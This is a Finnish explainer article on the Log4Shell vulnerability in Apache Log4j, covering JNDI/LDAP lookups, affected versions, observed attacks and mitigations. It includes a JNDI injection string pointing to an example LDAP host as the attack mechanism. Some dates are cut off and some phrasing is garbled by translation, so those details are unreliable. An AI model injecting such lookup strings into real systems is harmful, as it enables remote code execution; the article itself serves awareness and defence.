Sisällysluettelo[Piilottaa][Näytä]
Marraskuun lopussa 2021 havaitsimme suuren kyberturvallisuuden uhan. Tämä hyväksikäyttö saattaa vaikuttaa miljooniin tietokonejärjestelmiin maailmanlaajuisesti.
Tämä on opas Log4j-haavoittuvuudesta ja siitä, kuinka huomaamatta jäänyt suunnitteluvirhe jätti yli 90 % maailman tietokonepalveluista avoimia hyökkäyksille.
Apache Log4j on avoimen lähdekoodin Java-pohjainen lokityökalu, jonka on kehittänyt Apache Software Foundation. Alun perin Ceki Gülcü vuonna 2001 kirjoittaman sen on nyt osa Apache Logging Services -projektia, Apache Software Foundationin projektia.
Yritykset ympäri maailmaa käyttävät Log4j-kirjastoa mahdollistaakseen kirjautumisen sovelluksiinsa. Itse asiassa Java-kirjasto on niin yleinen, että löydät sen Amazonin, Microsoftin, Googlen ja muiden sovelluksista.
Kirjaston näkyvyys tarkoittaa, että kaikki mahdolliset koodin puutteet voivat jättää miljoonia tietokoneita avoimina hakkerointiin. 24, a pilvi turvallisuus Alibabassa työskentelevä tutkija löysi kauhean virheen.
Log4j-haavoittuvuus, joka tunnetaan myös nimellä Log4Shell, on ollut huomaamatta vuodesta 2013 lähtien. Haavoittuvuuden ansiosta haitalliset toimijat pystyivät suorittamaan koodia Log4j:tä käyttävissä järjestelmissä. Se julkistettiin 9
Alan asiantuntijat kutsuvat Log4Shell-virhettä suurin haavoittuvuus viimeaikaisessa muistissa.
Haavoittuvuuden julkaisemista seuraavan viikon aikana kyberturvallisuustiimit havaitsivat miljoonia hyökkäyksiä. Jotkut tutkijat havaitsivat jopa yli sata hyökkäystä minuutissa.
Miten tämä toimii?
Ymmärtääksemme, miksi Log4Shell on niin vaarallinen, meidän on ymmärrettävä, mihin se pystyy.
Log4Shell-haavoittuvuus mahdollistaa mielivaltaisen koodin suorittamisen, mikä tarkoittaa periaatteessa sitä, että hyökkääjä voi suorittaa minkä tahansa komennon tai koodin kohdekoneessa.
Miten se saavuttaa tämän?
Ensinnäkin meidän on ymmärrettävä, mikä JNDI on.
Java Naming and Directory Interface (JNDI) on Java-palvelu, jonka avulla Java-ohjelmat voivat löytää ja etsiä tietoja ja resursseja nimen avulla. Nämä hakemistopalvelut ovat tärkeitä, koska ne tarjoavat organisoidun joukon tietueita, joita kehittäjät voivat helposti käyttää sovelluksia luodessaan.
JNDI voi käyttää useita protokollia päästäkseen tiettyyn hakemistoon. Yksi näistä protokollista on Lightweight Directory Access Protocol eli LDAP.
Kun kirjaat merkkijonoa, log4j suorittaa merkkijonokorvauksia, kun he kohtaavat muodon lausekkeita ${prefix:name}
.
Esimerkiksi Text: ${java:version}
voidaan kirjata sisään tekstinä: Java-versio 1.8.0_65. Tällaiset korvaukset ovat yleisiä.
Meillä voi olla myös ilmaisuja, kuten Text: ${jndi:ldap://example.com/file}
joka käyttää JNDI-järjestelmää Java-objektin lataamiseen URL-osoitteesta LDAP-protokollan kautta.
Tämä lataa tehokkaasti kyseisestä URL-osoitteesta tulevat tiedot koneeseen. Kuka tahansa potentiaalinen hakkeri voi isännöidä haitallista koodia julkisessa URL-osoitteessa ja odottaa, että Log4j:tä käyttävät koneet kirjaavat sen.
Koska lokiviestien sisältö sisältää käyttäjän ohjaamia tietoja, hakkerit voivat lisätä omia JNDI-viittauksiaan, jotka osoittavat heidän hallitsemiinsa LDAP-palvelimiin. Nämä LDAP-palvelimet voivat olla täynnä haitallisia Java-objekteja, jotka JNDI voi suorittaa haavoittuvuuden kautta.
Asiasta pahentaa se, että sillä ei ole väliä, onko sovellus palvelinpuolen vai asiakaspuolen sovellus.
Niin kauan kuin loggerilla on mahdollisuus lukea hyökkääjän haitallinen koodi, sovellus on edelleen avoin hyväksikäyttöille.
Kuka vaikuttaa?
Haavoittuvuus vaikuttaa kaikkiin järjestelmiin ja palveluihin, jotka käyttävät APache Log4j:tä versioissa 2.0 aina 2.14.1 asti.
Useat tietoturvaasiantuntijat neuvovat, että haavoittuvuus saattaa vaikuttaa useisiin Javaa käyttäviin sovelluksiin.
Vika havaittiin ensimmäisen kerran Microsoftin omistamassa Minecraft-videopelissä. Microsoft on kehottanut käyttäjiään päivittämään Java-versionsa Minecraft-ohjelmistonsa riskien estämiseksi.
Jen Easterly, kyberturvallisuuden ja infrastruktuurin turvallisuusviraston (CISA) johtaja, sanoo, että myyjillä on suuri vastuu estääkseen loppukäyttäjiä käyttämästä haavoittuvuutta hyväkseen.
"Myyjien tulisi myös kommunikoida asiakkaidensa kanssa varmistaakseen, että loppukäyttäjät tietävät, että heidän tuotteensa sisältää tämän haavoittuvuuden, ja heidän tulee asettaa ohjelmistopäivitykset etusijalle."
Hyökkäykset ovat kuulemma jo alkaneet. Kyberturvaohjelmistoja tarjoava Symantec on havainnut erilaisia hyökkäyspyyntöjä.
Tässä on esimerkkejä tutkijoiden havaitsemista hyökkäyksistä:
- bottiverkkojen
Bottiverkot ovat tietokoneverkko, joka on yhden hyökkäävän osapuolen hallinnassa. Ne auttavat suorittamaan DDoS-hyökkäyksiä, varastamaan tietoja ja muita huijauksia. Tutkijat havaitsivat Muhstik-botnetin Shell-skripteissä, jotka oli ladattu Log4j-hyödynnyksestä.
- XMRig Miner Troijalainen
XMRig on avoimen lähdekoodin kryptovaluutan louhinta, joka käyttää suorittimia Monero-tunnuksen louhimiseen. Kyberrikolliset voivat asentaa XMRigin ihmisten laitteisiin, jotta he voivat käyttää prosessointitehoaan heidän tietämättään.
- Khonsari Ransomware
Ransomware viittaa haittaohjelmien muotoon, joka on suunniteltu salaa tiedostot tietokoneella. Hyökkääjät voivat sitten vaatia maksua vastineeksi pääsystä salattuihin tiedostoihin. Tutkijat löysivät Khonsarin kiristysohjelman Log4Shell-hyökkäyksissä. Ne kohdistavat Windows-palvelimiin ja käyttävät .NET-kehystä.
Mitä tapahtuu seuraavaksi?
Asiantuntijat ennustavat, että Log4J-haavoittuvuuden aiheuttaman kaaoksen korjaaminen voi kestää kuukausia tai jopa vuosia.
Tämä prosessi sisältää jokaisen järjestelmän päivittämisen korjatulla versiolla. Vaikka kaikki nämä järjestelmät korjattaisiin, on silti olemassa uhka mahdollisista takaovista, jotka hakkerit ovat jo lisänneet ikkunaan, jossa palvelimet olivat avoinna hyökkäyksille.
Paljon ratkaisuja ja lievennyksiä olemassa estämään sovelluksia hyödyntämästä tätä bugia. Uusi Log4j-versio 2.15.0-rc1 muutti useita asetuksia tämän haavoittuvuuden vähentämiseksi.
Kaikki JNDI:tä käyttävät ominaisuudet poistetaan oletusarvoisesti käytöstä, ja myös etähakuja on rajoitettu. Hakuominaisuuden poistaminen käytöstä Log4j-asetuksissa auttaa vähentämään mahdollisten hyväksikäyttöjen riskiä.
Log4j:n ulkopuolella tarvitaan edelleen laajempi suunnitelma avoimen lähdekoodin hyväksikäytön estämiseksi.
Valkoinen talo julkaisi aiemmin toukokuussa toimeenpaneva määräys jonka tavoitteena oli parantaa kansallista kyberturvallisuutta. Se sisälsi säännöksen ohjelmistoluettelosta (SBOM), joka oli pohjimmiltaan muodollinen asiakirja, joka sisälsi luettelon kaikista sovelluksen rakentamiseen tarvittavista tuotteista.
Tämä sisältää osia, kuten avoimen lähdekoodin kehittämiseen käytetyt paketit, riippuvuudet ja API:t. Vaikka SBOM-ajatus on hyödyllinen avoimuuden kannalta, auttaako se todella kuluttajaa?
Riippuvuuksien päivittäminen voi olla liian vaivalloista. Yritykset voivat vain maksaa sakkoja sen sijaan, että uhkaavat tuhlata ylimääräistä aikaa vaihtoehtoisten pakettien etsimiseen. Ehkä näistä SBOM:ista on hyötyä vain, jos niiden laajuus on rajoitettu edelleen.
Yhteenveto
Log4j-ongelma on enemmän kuin vain tekninen ongelma organisaatioille.
Yritysjohtajien on oltava tietoisia mahdollisista riskeistä, joita saattaa ilmetä, kun heidän palvelimensa, tuotteensa tai palvelunsa perustuvat koodiin, jota he eivät itse ylläpidä.
Avoimen lähdekoodin ja kolmannen osapuolen sovelluksiin luottaminen sisältää aina jonkin verran riskiä. Yritysten tulee harkita riskienhallintastrategioiden laatimista ennen kuin uusia uhkia tulee esiin.
Suuri osa verkosta perustuu avoimen lähdekoodin ohjelmistoihin, joita ylläpitävät tuhannet vapaaehtoiset maailmanlaajuisesti.
Jos haluamme pitää verkon turvallisena, hallitusten ja yritysten tulisi investoida avoimen lähdekoodin ponnistelujen ja kyberturvallisuusvirastojen, kuten esim. CISA.
Jätä vastaus